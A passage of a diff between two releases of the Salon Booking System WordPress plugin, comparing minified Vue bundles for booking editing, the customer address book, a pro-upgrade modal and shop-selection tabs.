\",\"customerFirstname\",\"customerLastname\",\"customerEmail\",\"customerPhone\",\"customerAddress\",\"customerNotes\",\"customerPersonalNotes\",\"adminNote\",\"services\",\"discounts\",\"status\",\"isLoading\",\"isSaved\",\"isError\",\"errorMessage\",\"customFields\",\"shop\",\"onClose\",\"onChooseCustomer\",\"onErrorState\",\"onSave\"])],512)),[[a.aG,e.show]])}var u=o(5101),m={name:\"EditBookingItem\",props:{booking:{default:function(){return{}}},customer:{default:function(){return{}}}},components:{EditBooking:u.A},mounted(){this.toggleShow()},data:function(){return{isLoading:!1,isSaved:!1,isError:!1,errorMessage:\"\",show:!0,bookings:[]}},methods:{handleErrorState({isError:e,errorMessage:s}){this.isError=e,this.errorMessage=s},close(e){this.isError=!1,this.$emit(\"close\",e)},chooseCustomer(){this.isError=!1,this.$emit(\"chooseCustomer\")},save(e){this.isLoading=!0,this.axios.put(\"bookings\u002F\"+this.booking.id,e).then(e=>{this.isSaved=!0,setTimeout(()=>{this.isSaved=!1},3e3),this.isLoading=!1,this.axios.get(\"bookings\u002F\"+e.data.id).then(e=>{this.close(e.data.items[0])})},e=>{this.isError=!0,this.errorMessage=e.response.data.message,this.isLoading=!1})},toggleShow(){this.show=!1,setTimeout(()=>{this.show=!0},0)}},emits:[\"close\",\"chooseCustomer\"]},h=o(5932);const d=(0,h.A)(m,[[\"render\",c],[\"__scopeId\",\"data-v-1ad85148\"]]);var g=d},8297:function(e,s,o){o.d(s,{A:function(){return g}});var t=o(6436),i=o(7959);const a=[\"aria-label\"],n=[\"disabled\",\"aria-busy\",\"title\",\"onClick\"],r={class:\"attendant-avatar\"},l=[\"src\",\"alt\"],c={class:\"attendant-name\"};function u(e,s,o,u,m,h){return(0,t.uX)(),(0,t.CE)(\"div\",{class:\"attendant-chips\",role:\"toolbar\",\"aria-label\":o.ariaLabel},[((0,t.uX)(!0),(0,t.CE)(t.FK,null,(0,t.pI)(o.assistants,e=>((0,t.uX)(),(0,t.CE)(\"button\",{key:h.chipKey(e),type:\"button\",class:(0,i.C4)([\"attendant-chip\",h.chipClasses(e)]),disabled:h.chipDisabled(e),\"aria-busy\":e.busyNow?\"true\":void 0,title:h.chipTitle(e),onClick:s=>h.onChipClick(e)},[(0,t.Lk)(\"span\",r,[e.imageUrl?((0,t.uX)(),(0,t.CE)(\"img\",{key:0,class:\"attendant-avatar-img\",src:e.imageUrl,alt:e.name||\"\",loading:\"lazy\",decoding:\"async\"},null,8,l)):((0,t.uX)(),(0,t.CE)(t.FK,{key:1},[(0,t.eW)((0,i.v_)(h.initials(e.name)),1)],64))]),(0,t.Lk)(\"span\",c,(0,i.v_)(h.firstName(e.name)),1)],10,n))),128))],8,a)}o(8992),o(1454);var m={name:\"AssistantFilterChips\",props:{assistants:{type:Array,default:()=>[]},modelValue:{type:[String,Number],default:\"\"},ariaLabel:{type:String,default:\"Filter by assistant\"}},emits:[\"update:modelValue\"],methods:{chipDisabled(e){return\"\"!==e.id&&null!==e.id&&\"undefined\"!==typeof e.id&&!1===e.filterable},chipClasses(e){return{\"attendant-chip--active\":this.isActive(e.id),\"attendant-chip--busy\":!!e.busyNow}},chipTitle(e){return this.chipDisabled(e)?\"No bookings to filter for this assistant\":e.busyNow?\"In a reservation now\":\"\"},chipKey(e){const s=e.id;return\"\"===s||null===s||\"undefined\"===typeof s?\"all\":s},initials(e){return e?e.split(\" \").slice(0,2).map(e=>e[0]?.toUpperCase()??\"\").join(\"\"):\"?\"},firstName(e){return e?e.split(\" \")[0]:\"\"},isActive(e){return\"\"===e||null===e||\"undefined\"===typeof e?\"\"===this.modelValue||null===this.modelValue:String(this.modelValue)===String(e)},onChipClick(e){if(this.chipDisabled(e))return;const s=e.id;if(this.isActive(s))return void this.$emit(\"update:modelValue\",\"\");if(\"\"===s||null===s||\"undefined\"===typeof s)return void this.$emit(\"update:modelValue\",\"\");const o=Number(s);this.$emit(\"update:modelValue\",Number.isFinite(o)&&o>0?o:s)}}},h=o(5932);const d=(0,h.A)(m,[[\"render\",u],[\"__scopeId\",\"data-v-aa131824\"]]);var g=d}}]);\n\\ No newline at end of file\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs: 128.js\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs: 1.js\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs: 389.js\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs: 473.js\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs: 63.js\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F905.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F905.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F905.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F905.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -1 +1 @@\n-\"use strict\";(self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[]).push([[905],{905:function(o,e,s){s.r(e),s.d(e,{default:function(){return d}});var t=s(6436);function i(o,e,s,i,n,l){const r=(0,t.g2)(\"EditBookingItem\"),u=(0,t.g2)(\"BookingDetails\"),m=(0,t.g2)(\"ImagesList\"),c=(0,t.g2)(\"CustomerDetails\"),g=(0,t.g2)(\"CustomersAddressBook\");return(0,t.uX)(),(0,t.CE)(\"div\",null,[o.editBooking?((0,t.uX)(),(0,t.Wv)(r,{key:0,booking:o.selectedBooking,customer:o.bookingCustomer,onClose:l.closeEditBooking},null,8,[\"booking\",\"customer\",\"onClose\"])):o.showBooking?((0,t.uX)(),(0,t.Wv)(u,{key:1,show:!0,booking:o.selectedBooking,onClose:l.closeBookingDetails,onEdit:l.editBookingDetails},null,8,[\"booking\",\"onClose\",\"onEdit\"])):o.isShowImages?((0,t.uX)(),(0,t.Wv)(m,{key:2,customer:o.customer,onClose:l.closeShowImages},null,8,[\"customer\",\"onClose\"])):o.editCustomer?((0,t.uX)(),(0,t.Wv)(c,{key:3,onClose:l.closeCustomerDetails,onShowBooking:l.showBookingDetails,customerID:o.customer.id,customerFirstname:o.customer.first_name,customerLastname:o.customer.last_name,customerEmail:o.customer.email,customerPhone:o.customer.phone,customerAddress:o.customer.address,customerPersonalNotes:o.customer.note},null,8,[\"onClose\",\"onShowBooking\",\"customerID\",\"customerFirstname\",\"customerLastname\",\"customerEmail\",\"customerPhone\",\"customerAddress\",\"customerPersonalNotes\"])):((0,t.uX)(),(0,t.Wv)(g,{key:4,shop:s.shop,onShowImages:l.showImages,onEdit:l.edit,customer:o.customerData,ref:\"customersAddressBook\"},null,8,[\"shop\",\"onShowImages\",\"onEdit\",\"customer\"]))])}var n=s(39),l=s(7995),r=s(603),u=s(3621),m=s(2442),c={name:\"CustomersAddressBookTab\",props:{shop:{default:function(){return{}}}},components:{CustomerDetails:r.A,CustomersAddressBook:n.A,ImagesList:l.A,BookingDetails:u.A,EditBookingItem:m.A},data:function(){return{isShowImages:!1,customer:null,customerData:null,editCustomer:!1,showBooking:!1,selectedBooking:null,editBooking:!1,bookingCustomer:null}},methods:{showImages(o){this.isShowImages=!0,this.customer=o,this.$emit(\"hideTabsHeader\",!0)},closeShowImages(o){this.isShowImages=!1,this.customerData=o,this.$emit(\"hideTabsHeader\",!1)},edit(o){console.log(\"🟣 CustomersAddressBookTab edit() called with customer:\",o),console.log(\"🟣 Customer ID:\",o.id),this.customer=o,this.editCustomer=!0},closeCustomerDetails(){this.editCustomer=!1,this.$refs.customersAddressBook&&this.$refs.customersAddressBook.load()},showBookingDetails(o){console.log(\"🟢 🟢 🟢 PARENT showBookingDetails called!\",o),console.log(\"🟢 Current showBooking value:\",this.showBooking),console.log(\"🟢 Setting showBooking to true and selectedBooking to:\",o.id),this.selectedBooking=o,this.showBooking=!0,console.log(\"🟢 After setting - showBooking:\",this.showBooking),console.log(\"🟢 After setting - selectedBooking:\",this.selectedBooking)},closeBookingDetails(){this.showBooking=!1,this.selectedBooking=null},editBookingDetails(){console.log(\"🟡 editBookingDetails called for booking:\",this.selectedBooking),this.bookingCustomer={first_name:this.selectedBooking.customer_firstname,last_name:this.selectedBooking.customer_lastname,email:this.selectedBooking.customer_email,phone:this.selectedBooking.customer_phone,address:this.selectedBooking.customer_address},this.editBooking=!0,this.showBooking=!1},closeEditBooking(){this.editBooking=!1,this.bookingCustomer=null,this.selectedBooking&&(this.showBooking=!0)}},emits:[\"hideTabsHeader\"]},g=s(5932);const a=(0,g.A)(c,[[\"render\",i]]);var d=a}}]);\n\\ No newline at end of file\n+\"use strict\";(self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[]).push([[905],{905:function(o,e,s){s.r(e),s.d(e,{default:function(){return d}});var t=s(6436);function i(o,e,s,i,n,l){const r=(0,t.g2)(\"EditBookingItem\"),u=(0,t.g2)(\"BookingDetails\"),m=(0,t.g2)(\"ImagesList\"),c=(0,t.g2)(\"CustomerDetails\"),g=(0,t.g2)(\"CustomersAddressBook\");return(0,t.uX)(),(0,t.CE)(\"div\",null,[o.editBooking?((0,t.uX)(),(0,t.Wv)(r,{key:0,booking:o.selectedBooking,customer:o.bookingCustomer,onClose:l.closeEditBooking},null,8,[\"booking\",\"customer\",\"onClose\"])):o.showBooking?((0,t.uX)(),(0,t.Wv)(u,{key:1,show:!0,booking:o.selectedBooking,onClose:l.closeBookingDetails,onEdit:l.editBookingDetails},null,8,[\"booking\",\"onClose\",\"onEdit\"])):o.isShowImages?((0,t.uX)(),(0,t.Wv)(m,{key:2,customer:o.customer,onClose:l.closeShowImages},null,8,[\"customer\",\"onClose\"])):o.editCustomer?((0,t.uX)(),(0,t.Wv)(c,{key:3,onClose:l.closeCustomerDetails,onShowBooking:l.showBookingDetails,customerID:o.customer.id,customerFirstname:o.customer.first_name,customerLastname:o.customer.last_name,customerEmail:o.customer.email,customerPhone:o.customer.phone,customerAddress:o.customer.address,customerPersonalNotes:o.customer.note},null,8,[\"onClose\",\"onShowBooking\",\"customerID\",\"customerFirstname\",\"customerLastname\",\"customerEmail\",\"customerPhone\",\"customerAddress\",\"customerPersonalNotes\"])):((0,t.uX)(),(0,t.Wv)(g,{key:4,shop:s.shop,onShowImages:l.showImages,onEdit:l.edit,customer:o.customerData,ref:\"customersAddressBook\"},null,8,[\"shop\",\"onShowImages\",\"onEdit\",\"customer\"]))])}var n=s(39),l=s(7995),r=s(2881),u=s(2585),m=s(5101),c={name:\"CustomersAddressBookTab\",props:{shop:{default:function(){return{}}}},components:{CustomerDetails:r.A,CustomersAddressBook:n.A,ImagesList:l.A,BookingDetails:u.A,EditBookingItem:m.A},data:function(){return{isShowImages:!1,customer:null,customerData:null,editCustomer:!1,showBooking:!1,selectedBooking:null,editBooking:!1,bookingCustomer:null}},methods:{showImages(o){this.isShowImages=!0,this.customer=o,this.$emit(\"hideTabsHeader\",!0)},closeShowImages(o){this.isShowImages=!1,this.customerData=o,this.$emit(\"hideTabsHeader\",!1)},edit(o){console.log(\"🟣 CustomersAddressBookTab edit() called with customer:\",o),console.log(\"🟣 Customer ID:\",o.id),this.customer=o,this.editCustomer=!0},closeCustomerDetails(){this.editCustomer=!1,this.$refs.customersAddressBook&&this.$refs.customersAddressBook.load()},showBookingDetails(o){console.log(\"🟢 🟢 🟢 PARENT showBookingDetails called!\",o),console.log(\"🟢 Current showBooking value:\",this.showBooking),console.log(\"🟢 Setting showBooking to true and selectedBooking to:\",o.id),this.selectedBooking=o,this.showBooking=!0,console.log(\"🟢 After setting - showBooking:\",this.showBooking),console.log(\"🟢 After setting - selectedBooking:\",this.selectedBooking)},closeBookingDetails(){this.showBooking=!1,this.selectedBooking=null},editBookingDetails(){console.log(\"🟡 editBookingDetails called for booking:\",this.selectedBooking),this.bookingCustomer={first_name:this.selectedBooking.customer_firstname,last_name:this.selectedBooking.customer_lastname,email:this.selectedBooking.customer_email,phone:this.selectedBooking.customer_phone,address:this.selectedBooking.customer_address},this.editBooking=!0,this.showBooking=!1},closeEditBooking(){this.editBooking=!1,this.bookingCustomer=null,this.selectedBooking&&(this.showBooking=!0)}},emits:[\"hideTabsHeader\"]},g=s(5932);const a=(0,g.A)(c,[[\"render\",i]]);var d=a}}]);\n\\ No newline at end of file\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs: 92.js\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -1 +1 @@\n-(function(){\"use strict\";var e={4119:function(e,o,s){s.d(o,{A:function(){return m}});var t=s(6436),n=s(1469),i=s(7959);const a=[\"aria-labelledby\"],r=[\"aria-label\"],l=[\"aria-label\"],d=[\"id\"],c={class:\"sln-pro-upgrade-modal__text\"},p=[\"href\"];function h(e,o,s,h,u,g){const b=(0,t.g2)(\"font-awesome-icon\");return(0,t.uX)(),(0,t.Wv)(t.Im,{to:\"body\"},[s.modelValue?((0,t.uX)(),(0,t.CE)(\"div\",{key:0,class:\"sln-pro-upgrade-modal\",role:\"dialog\",\"aria-modal\":\"true\",\"aria-labelledby\":u.titleId},[(0,t.Lk)(\"button\",{type:\"button\",class:\"sln-pro-upgrade-modal__backdrop\",\"aria-label\":g.dismissLabel,onMousedown:o[0]||(o[0]=(0,n.D$)(()=>{},[\"prevent\"])),onClick:o[1]||(o[1]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\"]))},null,40,r),(0,t.Lk)(\"div\",{class:\"sln-pro-upgrade-modal__card\",onClick:o[5]||(o[5]=(0,n.D$)(()=>{},[\"stop\"]))},[(0,t.Lk)(\"button\",{type:\"button\",class:\"sln-pro-upgrade-modal__x\",\"aria-label\":g.dismissLabel,onClick:o[2]||(o[2]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\",\"stop\"]))},[(0,t.bF)(b,{icon:\"fa-solid fa-xmark\"})],8,l),(0,t.Lk)(\"h2\",{id:u.titleId,class:\"sln-pro-upgrade-modal__title\"},(0,i.v_)(g.title),9,d),(0,t.Lk)(\"p\",c,(0,i.v_)(g.message),1),(0,t.Lk)(\"a\",{href:g.pricingUrl,class:\"btn btn-primary sln-pro-upgrade-modal__cta\",target:\"_blank\",rel:\"noopener noreferrer\",onClick:o[3]||(o[3]=(0,n.D$)((...e)=>g.closeDeferred&&g.closeDeferred(...e),[\"prevent\",\"stop\"]))},(0,i.v_)(g.ctaLabel),9,p),(0,t.Lk)(\"button\",{type:\"button\",class:\"btn btn-link sln-pro-upgrade-modal__dismiss\",onClick:o[4]||(o[4]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\",\"stop\"]))},(0,i.v_)(g.dismissLabel),1)])],8,a)):(0,t.Q3)(\"\",!0)])}var u={name:\"ProUpgradeModal\",props:{modelValue:{type:Boolean,default:!1},messageOverride:{type:String,default:\"\"},navigateToUpcomingOnDismiss:{type:Boolean,default:!0}},emits:[\"update:modelValue\",\"dismiss-to-upcoming\"],data(){return{titleId:\"sln-pro-upgrade-modal-title\"}},computed:{title(){return this.getLabel(\"proUpgradeModalTitle\")},message(){return this.messageOverride||this.getLabel(\"proUpgradeModalMessage\")},ctaLabel(){return this.getLabel(\"proUpgradeModalCtaLabel\")},dismissLabel(){return this.getLabel(\"proUpgradeModalCloseLabel\")},pricingUrl(){return window.slnPWA?.pro_pricing_url||\"https:\u002F\u002Fwww.salonbookingsystem.com\u002Fplugin-pricing\u002F\"}},methods:{closeDeferred(){setTimeout(()=>{this.$emit(\"update:modelValue\",!1)},0)},closeDeferredNavigateUpcoming(){setTimeout(()=>{this.navigateToUpcomingOnDismiss&&this.$emit(\"dismiss-to-upcoming\"),this.$emit(\"update:modelValue\",!1)},0)}}},g=s(5932);const b=(0,g.A)(u,[[\"render\",h],[\"__scopeId\",\"data-v-1eb28792\"]]);var m=b},6820:function(e,o,s){var t=s(1469),n=s(6436);function i(e,o,s,t,i,a){const r=(0,n.g2)(\"TabsList\");return(0,n.uX)(),(0,n.CE)(\"div\",null,[(0,n.bF)(r,{onApplyShop:a.applyShop,isShopsEnabled:a.isShopsEnabled},null,8,[\"onApplyShop\",\"isShopsEnabled\"])])}var a=s(7959);const r={key:2,class:\"pwa-pro-only-tab-placeholder\"},l={key:2,class:\"pwa-pro-only-tab-placeholder\"};function d(e,o,s,t,i,d){const c=(0,n.g2)(\"ProUpgradeModal\"),p=(0,n.g2)(\"font-awesome-icon\"),h=(0,n.g2)(\"ShopsTab\"),u=(0,n.g2)(\"b-tab\"),g=(0,n.g2)(\"ShopTitle\"),b=(0,n.g2)(\"UpcomingReservationsTab\"),m=(0,n.g2)(\"ReservationsCalendarTab\"),f=(0,n.g2)(\"CustomersAddressBookTab\"),v=(0,n.g2)(\"UserProfileTab\"),y=(0,n.g2)(\"b-tabs\");return(0,n.uX)(),(0,n.CE)(\"div\",{class:(0,a.C4)({\"hide-tabs-header\":e.isHideTabsHeader})},[(0,n.bF)(c,{modelValue:e.proUpgradeModalVisible,\"onUpdate:modelValue\":o[0]||(o[0]=o=>e.proUpgradeModalVisible=o),onDismissToUpcoming:d.goToUpcomingReservations},null,8,[\"modelValue\",\"onDismissToUpcoming\"]),((0,n.uX)(),(0,n.Wv)(y,{key:\"sln-pwa-tabs-\"+e.tabsMountKey,modelValue:e.tabModelIndex,\"onUpdate:modelValue\":o[6]||(o[6]=o=>e.tabModelIndex=o),pills:\"\",card:\"\",end:\"\",onActivateTab:d.onActivateTab},{default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(u,{key:0,\"title-item-class\":{hide:!s.isShopsEnabled}},{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[1]||(o[1]=e=>d.click(\"#shops\"))},[(0,n.bF)(p,{icon:\"fa-solid fa-store\",class:\"tab-icon\"}),o[7]||(o[7]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Shops\",-1))])]),default:(0,n.k6)(()=>[(0,n.bF)(h,{isShopsEnabled:s.isShopsEnabled,onApplyShop:d.applyShopAndSwitch},null,8,[\"isShopsEnabled\",\"onApplyShop\"])]),_:1},8,[\"title-item-class\"])):(0,n.Q3)(\"\",!0),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",ref:\"upcoming-reservations-tab-link\",onClick:o[2]||(o[2]=e=>{d.click(\"#upcoming-reservations\"),d.scrollUpcomingIntoViewIfNeeded()})},[(0,n.bF)(p,{icon:\"fa-solid fa-list\",class:\"tab-icon\"}),o[8]||(o[8]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Upcoming\",-1))],512)]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),(0,n.bF)(b,{shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])]),_:1}),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[3]||(o[3]=e=>d.navigateToTab(\"#reservations-calendar\",e))},[(0,n.bF)(p,{icon:\"fa-solid fa-calendar-days\",class:\"tab-icon\"}),o[9]||(o[9]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Calendar\",-1))])]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),d.isProUser?((0,n.uX)(),(0,n.Wv)(m,{key:1,shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])):((0,n.uX)(),(0,n.CE)(\"div\",r))]),_:1}),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[4]||(o[4]=e=>d.navigateToTab(\"#customers\",e))},[(0,n.bF)(p,{icon:\"fa-regular fa-address-book\",class:\"tab-icon\"}),o[10]||(o[10]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Customers\",-1))])]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),d.isProUser?((0,n.uX)(),(0,n.Wv)(f,{key:1,shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])):((0,n.uX)(),(0,n.CE)(\"div\",l))]),_:1}),(0,n.bF)(u,{\"title-item-class\":\"nav-item-profile\"},{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[5]||(o[5]=e=>d.click(\"#user-profile\"))},[(0,n.bF)(p,{icon:\"fa-solid fa-user-alt\",class:\"tab-icon\"}),o[11]||(o[11]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Profile\",-1))])]),default:(0,n.k6)(()=>[(0,n.bF)(v)]),_:1})]),_:1},8,[\"modelValue\",\"onActivateTab\"]))],2)}s(4603),s(7566),s(8721);const c={class:\"shop-title-wrapper\"},p={class:\"shop-selector\"},h={class:\"selector-label\"},u={class:\"selector-dropdown\"},g={key:0},b={key:1},m={key:0,class:\"dropdown-content\"},f={key:0,class:\"loading-spinner\"},v={key:1,class:\"no-shops\"},y={key:2,class:\"shops-list\"},k=[\"onClick\"],w={class:\"shop-info\"},_={class:\"shop-name\"},S={class:\"shop-address\"};function T(e,o,s,t,i,r){const l=(0,n.g2)(\"font-awesome-icon\"),d=(0,n.g2)(\"b-spinner\"),T=(0,n.gN)(\"click-outside\");return(0,n.uX)(),(0,n.CE)(\"div\",c,[(0,n.Lk)(\"div\",p,[(0,n.Lk)(\"div\",h,(0,a.v_)(this.getLabel(\"shopTitleLabel\"))+\":\",1),(0,n.bo)(((0,n.uX)(),(0,n.CE)(\"div\",u,[(0,n.Lk)(\"div\",{class:\"selected-value\",onClick:o[0]||(o[0]=(...e)=>r.toggleDropdown&&r.toggleDropdown(...e))},[r.selectedShopName?((0,n.uX)(),(0,n.CE)(\"span\",g,(0,a.v_)(r.selectedShopName),1)):((0,n.uX)(),(0,n.CE)(\"span\",b,(0,a.v_)(this.getLabel(\"selectShopPlaceholder\")),1)),(0,n.bF)(l,{icon:\"fa-solid fa-chevron-right\",class:(0,a.C4)([\"dropdown-icon\",{\"dropdown-icon--open\":i.isDropdownOpen}])},null,8,[\"class\"])]),i.isDropdownOpen?((0,n.uX)(),(0,n.CE)(\"div\",m,[i.isLoading?((0,n.uX)(),(0,n.CE)(\"div\",f,[(0,n.bF)(d,{variant:\"primary\"})])):0===i.shopsList.length?((0,n.uX)(),(0,n.CE)(\"div\",v,(0,a.v_)(this.getLabel(\"shopsNoResultLabel\")),1)):((0,n.uX)(),(0,n.CE)(\"div\",y,[((0,n.uX)(!0),(0,n.CE)(n.FK,null,(0,n.pI)(i.shopsList,e=>((0,n.uX)(),(0,n.CE)(\"div\",{key:e.id,class:\"shop-item\",onClick:o=>r.selectShop(e)},[(0,n.Lk)(\"div\",w,[(0,n.Lk)(\"div\",_,(0,a.v_)(e.name),1),(0,n.Lk)(\"div\",S,(0,a.v_)(e.address),1)])],8,k))),128))]))])):(0,n.Q3)(\"\",!0)])),[[T,r.closeDropdown]])])])}var L={name:\"ShopTitle\",props:{shop:{default:function(){return{}}}},data(){return{isDropdownOpen:!1,shopsList:[],isLoading:!1}},computed:{name(){return this.shop&&this.shop.id?this.shop.name:\"\"},selectedShopName(){return this.shop&&this.shop.id?this.shop.name:\"\"}},methods:{toggleDropdown(){this.isDropdownOpen=!this.isDropdownOpen,this.isDropdownOpen&&this.loadShops()},closeDropdown(){this.isDropdownOpen=!1},loadShops(){this.isLoading=!0,this.shopsList=[],this.axios.get(\"shops\").then(e=>{this.shopsList=e.data.items}).finally(()=>{this.isLoading=!1})},selectShop(e){this.$emit(\"applyShop\",e),this.closeDropdown()}},emits:[\"applyShop\"],directives:{\"click-outside\":{mounted(e,o){e.clickOutsideEvent=function(s){e===s.target||e.contains(s.target)||o.value(s)},document.addEventListener(\"click\",e.clickOutsideEvent)},unmounted(e){document.removeEventListener(\"click\",e.clickOutsideEvent)}}}},A=s(5932);const P=(0,A.A)(L,[[\"render\",T],[\"__scopeId\",\"data-v-169ad628\"]]);var C=P,E=s(4119);const I={name:\"PwaTabLoading\",render(){return(0,n.h)(\"div\",{class:\"pwa-tab-async-loading\",role:\"status\",\"aria-busy\":\"true\"})}},D={loadingComponent:I,delay:0,timeout:12e4};var U={name:\"TabsList\",props:{isShopsEnabled:{default:function(){return!1}}},components:{UpcomingReservationsTab:(0,n.$V)({loader:()=>Promise.all([s.e(1),s.e(114)]).then(s.bind(s,1114)),...D}),ReservationsCalendarTab:(0,n.$V)({loader:()=>Promise.all([s.e(1),s.e(473)]).then(s.bind(s,2473)),...D}),CustomersAddressBookTab:(0,n.$V)({loader:()=>Promise.all([s.e(1),s.e(905)]).then(s.bind(s,905)),...D}),UserProfileTab:(0,n.$V)({loader:()=>s.e(63).then(s.bind(s,4063)),...D}),ShopsTab:(0,n.$V)({loader:()=>s.e(728).then(s.bind(s,8728)),...D}),ShopTitle:C,ProUpgradeModal:E.A},created(){let e=this.resolveInitialHashFromUrl();!this.isProUser&&this.isProOnlyHash(e)&&(this.proUpgradeModalVisible=!0,e=\"#upcoming-reservations\",this.syncLocationToHash(e)),this.hash=e,this.tabModelIndex=this.hashToTabIndex(this.hash)},mounted(){if(window.addEventListener(\"hashchange\",this.onHashChange),this.isShopsEnabled){const o=localStorage.getItem(\"sln_selected_shop\");if(o)try{this.shop=JSON.parse(o),\"#shops\"!==this.hash&&this.hash||(this.hash=\"#upcoming-reservations\",window.location.hash=\"#upcoming-reservations\")}catch(e){console.error(\"Error parsing saved shop:\",e)}}},beforeUnmount(){window.removeEventListener(\"hashchange\",this.onHashChange)},data:function(){return{hash:\"#upcoming-reservations\",tabModelIndex:0,isSyncingTabs:!1,proUpgradeModalVisible:!1,tabsMountKey:0,skipResyncAfterModalClose:!1,shop:null,isHideTabsHeader:!1,isShopSelected:!1}},computed:{isProUser(){return!0===window.slnPWA?.is_pro}},watch:{shop(e){this.isShopSelected=!!e&&!!e.id},hash(e){const o=this.hashToTabIndex(e);this.tabModelIndex!==o&&(this.isSyncingTabs=!0,this.tabModelIndex=o,this.$nextTick(()=>{this.isSyncingTabs=!1}))},tabModelIndex(e){if(this.isSyncingTabs)return;if(!this.isProUser&&this.isRestrictedTabIndex(e))return this.proUpgradeModalVisible=!0,void this.resyncTabModelToHash();const 